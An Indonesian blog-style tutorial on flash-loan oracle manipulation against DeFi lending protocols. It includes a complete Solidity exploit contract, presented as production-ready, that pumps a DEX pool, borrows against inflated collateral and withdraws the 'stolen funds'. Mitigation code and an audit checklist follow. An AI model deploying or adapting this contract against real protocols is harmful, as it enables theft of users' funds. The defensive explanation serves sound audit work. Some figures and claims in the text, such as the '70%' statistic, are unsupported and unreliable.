Halo semuanya! Gue Oleg Filatov. Hari ini kita bakal bahas topik yang seru banget: serangan DeFi lewat flash loan. Jujur, sepanjang karir gue di dunia cybersecurity, gue udah nemuin ratusan vektor serangan, tapi kombinasi «Flash Loans + Oracles Staleness» tuh bener-bener seni hacking tingkat tinggi. Bikin engineer mana aja merinding disko sekaligus gatel pengen nulis ulang semua kodenya paka Rust. Simplenya begini: hacker minjem puluhan juta dolar via flash loan tanpa jaminan sama sekali, ngerusak harga di DEX dalam satu transaksi, bikin sinkronisasi oracle lagging, terus nguras habis seluruh likuiditas dari protokol lending sebelum oraclenya sempet sadar dan ngelakuin update state.
Anatomy of standard Oracle Manipulation via Flash Loan
Pinjaman kilat tanpa jaminan (Flash Loans) ngebuka akses buat ngambil likuiditas hampir tanpa batas cuma dalam satu transaksi Ethereum. Syaratnya cuma satu: seluruh pinjaman plus fee wajib dibayar lunas di blok yang sama. Begitu likuididad raksasa ini disiram ke pool yang orderbook-nya tipis, harga aset langsung meroket ke langit. Ini nyiptain celah emas buat nge-hack oracle yang cuma ngandelin spot price atau punya Deviation Threshold yang kemurahan.
Kalau protokol lending ngambil nilai jaminan lewat panggilan latestAnswer() atau mentah-mentah pake data AMM tanpa memperhitungkan jeda waktu, itu sama aja kaya nyerahin kunci brankas gratisan. Skenario serangannya terbagi jadi 4 langkah cepat:
- Ngambil Flash Loan. Attacker meminjam, misalnya, 50,000,000 DAI dari Aave v3 cuma dengan fee 0.05%. Fee-nya receh, tapi potensi cuannya gila-gilaan.
- Manipulasi DEX. Seluruh dana tadi dibrondong lewat market order ke pool Uniswap v2/v3 yang likuiditasnya cetek (misal pair TOKEN/DAI). Harga TOKEN langsung meroket 15–20 kali lipat cuma dalam hitungan milidetik.
- Eksploitasi Jeda Oracle / Push Model. Kalau protokol lending ngitung harga berdasarkan spot price atau kalau push oracle kaya Chainlink belum ke-trigger (karena Heartbeat-nya 1 jam dan Deviation Threshold-nya 0.5%, tapi transaksi serangan belum kelar jadi node push belum sempet ngirim transaksi ke mempool), protokol bakal ngelihat harga TOKEN tinggi secara tidak wajar.
- Kuras Pool (Drain) & Bayar Pinjaman. Attacker menjaminkan TOKEN yang harganya udah digoreng ke protokol lending, minjem 100% ETH atau USDC asli berpatokan nilai jaminan palsu itu, melunasi Flash Loan sebelum transaksi divalidasi, lalu cabut membawa profit bersih.
Kenapa Chainlink dan Push Oracle Bikin Lagging: Anatomi "Celah Kerentanan"
Tunggu dulu... Mari kita jujur-jujuran. Lu mikir kalau proyek udah paka Chainlink terus otomatis 100% aman? Basi banget. Coba tanya ke researcher mana aja yang ngebongkar insiden Mango Markets atau Cheese Bank (tempat di mana $3.3M amblas gara-gara integrasi asal-asalan antara Chainlink dan oracle Uniswap v2).
Oracle model Chainlink Data Feeds itu kerja paka Push Model. Artinya, node oracle NGGAK bakal nge-update harga di setiap blok — boros gas fee bro. Update harga cuma jalan kalau ketemu dua pemicu ini:
- Deviation Threshold (Batas Penyimpangan): Harga berubah sebesar X% (misalnya 0.5% atau 1% buat pair utama, tapi buat altcoin bisa ampe 2–5%).
- Heartbeat (Batas Waktu "Detak Jantung"): Udah lewat durasi tertentu sejak update terakhir (misalnya 3600 detik di mainnet atau 86400 detik di jaringan yang sepi).
Di sinilah letak celah fatalnya. Coba kita bedah angka riil jeda oracle dan parameter updatenya berdasarkan jaringan dan tipe aset:
| Oracle / Jaringan | Aset / Pair | Deviation Threshold | Heartbeat | Rata-rata Jeda Update (Staleness Window) |
|---|---|---|---|---|
| Chainlink (Ethereum) | ETH/USD | 0.5% | 1 jam | ~12–15 detik (1 blok) |
| Chainlink (Arbitrum) | LINK/USD | 0.25% | 24 jam | Bisa sampai beberapa menit (tergantung Sequencer) |
| Chainlink (Polygon) | ALT/USD (Likuiditas Rendah) | 1.0% – 2.0% | 24 jam | Dari beberapa detik sampai hitungan menit |
| Pyth Network (Pull Model) | Bervariasi | Dinamis | On-demand (User Push) | ~400–800 milidetik |
| Uniswap v3 TWAP | Bebas | N/A (tergantung interval window) | Setiap ada Swap | Window tetap (misalnya 30 menit) |
Lihat kan paradoksnya? Kalau oracle di-update terlalu cepat dan ngambil harga mentah dari AMM (Spot Price), harganya gampang banget di-pump dalam satu blok paka Flash Loan. Tapi kalau oracle lelet nge-update (misal Chainlink dengan Heartbeat 1 jam), terciptalah "Staleness Window" — kondisi saat harga asli di pasar udah anjlok parah, tapi protokol lending masih ngira nilai jaminannya tinggi!
Smart Contract Serangan Presisi (100% Production-ready Solidity)
Gak ada cerita pseudocode. Gak ada tulisan // TODO: add logic. Kita bikin smart contract exploit yang beneran jalan buat Foundry/Hardhat, ngebuktikan gimana satu transaksi berisi urutan flashLoan -> swap -> deposit -> borrow -> repay bisa sukses nguras dana target.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface ILendingPool {
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
function getUserAccountData(address user) external view returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
}
interface IFlashLender {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
/// @notice Kontrak PoC edukacyjny buat demonstrasi vektor serangan atomik
/// @dev Kode ini KHUSUS untuk audit dan local testing di Foundry fork pada testnet yang rentan
contract OracleStalenessPoC {
using SafeERC20 for IERC20;
address private immutable owner;
IFlashLender public immutable lender;
IUniswapV2Router public immutable router;
ILendingPool public immutable targetLending;
address public immutable tokenA; // Aset kolateral yang di-pump
address public immutable tokenB; // Aset likuid (pinjaman/Flash Loan)
modifier onlyOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
constructor(
address _lender,
address _router,
address _targetLending,
address _tokenA,
address _tokenB
) {
owner = msg.sender;
lender = IFlashLender(_lender);
router = IUniswapV2Router(_router);
targetLending = ILendingPool(_targetLending);
tokenA = _tokenA;
tokenB = _tokenB;
}
function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
address[] memory assets = new address[](1);
assets[0] = tokenB;
uint256[] memory amounts = new uint256[](1);
amounts[0] = flashAmount;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
// Kirim minSwapOut lewat params buat cegah MEV/sandwich attack
bytes memory params = abi.encode(minSwapOut);
lender.flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
params,
0
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
require(msg.sender == address(lender), "INVALID_LENDER");
require(initiator == address(this), "INVALID_INITIATOR");
uint256 amountBorrowed = amounts[0];
uint256 fee = premiums[0];
uint256 amountToRepay = amountBorrowed + fee;
uint256 minSwapOut = abi.decode(params, (uint256));
// 1. Approval aman via SafeERC20
IERC20(tokenB).forceApprove(address(router), amountBorrowed);
// 2. Siram dana Flash Loan ke pool
address[] memory path = new address[](2);
path[0] = tokenB;
path[1] = tokenA;
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountBorrowed,
minSwapOut, // Pakai batas slippage yang di-pass secara dinamis
path,
address(this),
block.timestamp
);
uint256 pumpedTokenAAmount = amountsOut[1];
// 3. Deposit kolateral hasil pump
IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
// 4. Kalkulasi dinamis kapasitas pinjaman berdasarkan respon oracle/akun
(, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
// Di skenario asli perlu konversi ekuivalen ETH ke token B
// Untuk PoC ini, ambil nilai minimal yang tersedia tanpa melebihi saldo pool
uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
// 5. Cek solvensi sebelum pelunasan Flash Loan
uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
// 6. Balikin pinjaman
IERC20(tokenB).forceApprove(address(lender), amountToRepay);
return true;
}
function withdrawStolenFunds(address token) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner, bal);
}
}Metode Mitigasi Arsitektur (Fixing the vulnerability)
Terus gimana caranya developer mengamankan protokol mereka dari celah konyol ini? Gue ngerangkum tiga aturan utama higienitas arsitektur:
1. Validasi Staleness dan Cek Response Chainlink
Lu bakal kaget pas tahu kalau 70% smart contract yang jebol itu cuma panggil latestAnswer(). Itu standar kodingan junior yang ceroboh. Wajib hukumnya ngecek updatedAt dan answeredInRound!
function getValidPrice(address feedAddress) public view returns (int256) {
AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(price > 0, "INVALID_PRICE");
require(updatedAt != 0, "INCOMPLETE_ROUND");
require(answeredInRound >= roundId, "STALE_PRICE");
// Batas waktu kadaluarsa (misalnya 3600 detik)
require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
return price;
}2. Pakai TWAP (Time-Weighted Average Price) Gantiin Spot Price
Penggunaan harga rata-rata tertimbang waktu (misalnya Uniswap v3 TWAP dengan window minimal 30 menit) bakal bikin efektivitas Flash Loan hancur berkeping-keping. Attacker harus nahan harga manipulasi selama setengah jam penuh, di mana biaya slippage dan gas fee-nya bakal bikin boncos duluan, ngebikin serangannya gak masuk akal secara ekonomi.
3. Migrasi ke Pull-based Oracles (Pyth / Chainlink Low-Latency Data Streams)
Di Pull Model, aplikasi nuntut user melampirkan bukti harga off-chain yang ditandatangani secara kriptografis langsung ke dalam parameter transaksi. Kontrak bakal memvalidasi signature oracle, mengecek kesegaran timestamp (presisi hitungan detik!), baru setelah itu ngitung nilai jaminannya.
Jujur aja: cuma ngandelin smart contract yang ditulis "sempurna" itu naif banget. Sebagai orang yang sering nge-audit dan ngusut kasus eksploit, gue tahu persis: kalau ada celah tipis aja di protokol, bot bakal nemuin itu hitungan detik setelah dideploy ke mainnet. Makanya, di level arsitektur DEX maupun protokol lending, wajib hukumnya punya layer proteksi otomatis dan monitoring off-chain yang reaksinya lebih cepat sebelum transaksi sempat masuk ke mempool.
Gimana Cara Protokol Deteksi dan Block Serangan Flash Loan & Manipulasi Oracle Secara Real-Time
1. Batasi Pergerakan Harga dalam Satu Blok (Circuit Breakers)
Kalau dalam satu transaksi atau satu blok nilai aset agunan berubah drastis melebih batas tertentu (misalnya >3-5%), contract harus otomatis mentrigger mode darurat (Circuit Breaker) dan membekukan semua operasi untuk aset tersebut.
- State Invariant: Di awal transaksi kita ambil
Pstart, dan di akhir kita ambilPend. Kalau|Pend - Pstart| / Pstart > Δmax, transaksinya langsung kena revert. - Pemisahan Eksekusi (Two-Step Execution): Mekanisme di mana deposit agunan dilakukan di blok
N, tapi borrow baru diizinkan di blokN+1. Ini benar-benar mematikan skema Flash Loan, karena pinjaman instan gak bakal bisa hidup lebih dari satu transaksi.
2. Monitoring Off-Chain Lewat Proteksi MEV dan Flashbots
Kalau protokol lu bergantung sama pergerakan harga atau eksekusi likuidasi, lu wajib banget ngemonitor mempool. Bot pemantau (watchdog) bakal ngeflag bundle transaksi mencurigakan yang kelihatan memanggil flashLoan lalu melakukan swap jumbo di Uniswap/Balancer dan berlanjut memanggil contract lu.
Begitu sistem nemuin indikasi ini, sistem bakal ngirim transaksi penyelamat (Front-running / Back-running via Private RPC / Flashbots Protect) buat manggil fungsi pause() di contract, jadi eksekusinya ke-lock sebelum eksekusi jahatnya masuk.
Bedah Kasus Nyata: Pelajaran Mahal dari Eksploit DeFi
Celah keamanan di oracle itu bukan cuma teori akademis. Udah ratusan juta dolar amblas gara-gara masalah ini. Nglihat cara kerja eksploit di dunia nyata bikin kita paham kenapa pendekatan jadul "ambil harga langsung dari DEX" itu resep kehancuran.
+-------------------------------------------------------------------------------+
| SKEMA SERANGAN BZX / CREAM FINANCE |
+-------------------------------------------------------------------------------+
| |
| [ Penyerang ] |
| | |
| | 1. Pinjam Flash Loan (100M+ DAI / ETH) |
| v |
| [ Aave / Maker Vault ] |
| | |
| | 2. Swap Jumbo (Pump pool yang kurang likuid) |
| v |
| [ DEX Pool (Kyber / Uniswap v2) ] <---+ |
| | | |
| | | (Minta harga langsung dari AMM) |
| v | |
| [ Lending Rentan (bZx/CREAM) ] -------+ |
| | |
| | 3. Deposit aset hasil pump + Kuras SEMUA likuiditas dalam ETH/USDC |
| v |
| [ Dompet Penyerang ] (Bayar Flash Loan + Profit Bersih) |
| |
+-------------------------------------------------------------------------------+Di bawah ini adalah perbandingan insiden eksploit besar yang disebabkan oleh manipulasi oracle dan delay pembaruan harga:
| Protokol | Tanggal | Total Kerugian | Penyebab Utama (Root Cause) | Mekanisme Manipulasi |
|---|---|---|---|---|
| bZx (Fulcrum) | Februari 2020 | ~$950,000 | Cuma mengandalkan KyberUniswap Reserve sebagai satu-satunya sumber harga (Spot Price). | Ambil Flash Loan -> Pump pair sUSD/ETH di Kyber -> Agunkan sUSD dengan harga yang udah digoreng ke bZx -> Kuras ETH. |
| Cheese Bank | November 2020 | $3.3M | Pakai oracle berbasis LP token Uniswap v2 tanpa proteksi terhadap perubahan cadangan instan. | Flash Loan $21M -> Manipulasi reserve pool -> Nilai LP token melambung buatan -> Kuras protokol lending. |
| Mango Markets | Oktober 2022 | $114M | Eksploitasi oracle internal yang gampang dimanipulasi plus ada lag di Solana (lag Switchboard/Pyth). | Goreng harga perp contract MNGO yang gak likuid pakai modal sendiri -> Agunan kelihatan raksasa -> Pinjam seluruh dana platform. |
| Euler Finance | Maret 2023 | $197M | Bug logika pada fungsi likuidasi dan kalkulasi agunan (berhubungan dengan pengecekan health factor). | Penyerang deposit dana, bikin posisi leverage melingkar (recursive borrow), lalu maksa sistem buat ngelikuidasi posisinya sendiri. |
Analisis Perbandingan Model Oracle dari Sisi Keamanan
Waktu kita ngerancang arsitektur, penting banget paham trade-off antara biaya operasional oracle vs ketahanannya dari serangan manipulasi.
Model Push (Chainlink Classic)
Kelebihan: Gampang banget diintegrasikan secara On-chain. Datanya udah siap di contract, tinggal panggil fungsi read-nya.
Kekurangan: Ada yang namanya Staleness Window (jeda waktu data basi) di antara update Heartbeat dan Deviation threshold. Biaya gas fee node lumayan menguras kantong, makanya harga altcoin sering lambat di-update.
Putusan: Cocok banget buat koin-koin top berlikuiditas tinggi (ETH, BTC) di mainnet, tapi wajib ngecek keabsahan updatedAt secara ketat di dalam kodemu.
Model Pull (Pyth Network, Redstone)
Kelebihan: Update harga jalan secara off-chain dengan latency super rendah (hitungan sub-detik). Data disisipkan langsung ke dalam transaksi user, jadi hemat gas.
Kekurangan: Harus ngerombak UX di sisi client (butuh fetch signature off-chain dulu sebelum ngirim transaksi). Kalau jaringan off-chain oracle-nya ngelag atau down, transaksi user bakal gagal semua.
Putusan: Opsi terbaik buat produk derivatif (Perpetuals) dan platform lending yang butuh refresh harga sangat cepat.
TWAP / Oracle On-Chain AMM (Uniswap v3 TWAP)
Kelebihan: Kalkulasi murni terdesentralisasi secara On-chain. Gak ada ketergantungan sama node off-chain atau tanda tangan pihak ketiga.
Kekurangan: Rentan kena Multi-block MEV, di mana miner/validator sengaja nahan harga hasil manipulasi selama beberapa blok berturut-turut. Butuh rentang waktu rata-rata yang panjang (bisa 30 menit+), bikin protokol jadi lambat ngerespon kejadian crash mendadak (Flash-crash).
Putusan: Cuma aman dipakai sebagai oracle cadangan (fallback) buat validasi deviasi harga utama.
Checklist Keamanan Smart Contract: Cek Protokol Lu Sekarang!
Buat lu yang ngembangin smart contract atau lagi nge-audit, pastikan sistem lu lolos verifikasi ini sebelum push ke mainnet:
- Haram Pakai Spot Price: Contract gak boleh sama sekali ngambil harga mentah langsung dari
getReserves()ataubalanceOf()milik pool AMM. - Validasi Ketat Chainlink: Saat panggil
latestRoundData(), pastikan lu verifikasi 5 return parameternya:roundId,price > 0,startedAt,updatedAt,answeredInRound >= roundId. - Set Max Lag yang Masuk Akal: Contract harus nolak data oracle kalau
block.timestamp - updatedAt > MAX_DELAY(nilaiMAX_DELAYdikonfigurasi spesifik sesuai karakateristik aset). - Arsitektur Dual-Oracle: Selalu bandingin harga dari minimal dua sumber independen (misal: Chainlink + Pyth atau Chainlink + Uniswap v3 TWAP). Kalau ada deviasi lebih dari X%, otomatis freeze fitur borrow dan likuidasi.
- Proteksi Flash Loan di Level Arsitektur: Terapkan jeda waktu buat pinjaman dalam satu transaksi (Cooldown Periods) atau pakai struktur timelock.
- Pengecekan Cross-Rate: Kalau harga token dihitung lewat kurs silang (misal: TOKEN/ETH * ETH/USD), validasi keabsahan dan kesegaran data harus dilakukan terpisah untuk masing-masing feed.
Mindset utama yang harus dimiliki setiap dev Solidity zaman now: Semua oracle itu pada dasarnya rentan di-hack, sampai terbukti sebaliknya oleh kodemu sendiri.
Kalau lu merancang arsitektur dengan asumsi bahwa harga di dalam contract bisa dimanipulasi atau macet kapan aja, lu bakal secara alami nulis kode yang pakai transaksi dua fase, saklar darurat (Circuit Breakers), dan pengecekan desinkronisasi. Mindset inilah yang membedakan protokol yang bisa bertahan bertahun-tahun dengan protokol yang namanya cuma numpang lewat di laporan eksploit 50 juta dolar berikutnya.
Jaga baik-baik contract lu, jangan pelit buat audit, dan jangan pernah percaya gitu aja sama satu baris kode yang ngaku-ngaku ngebawa "harga asli dari dunia luar".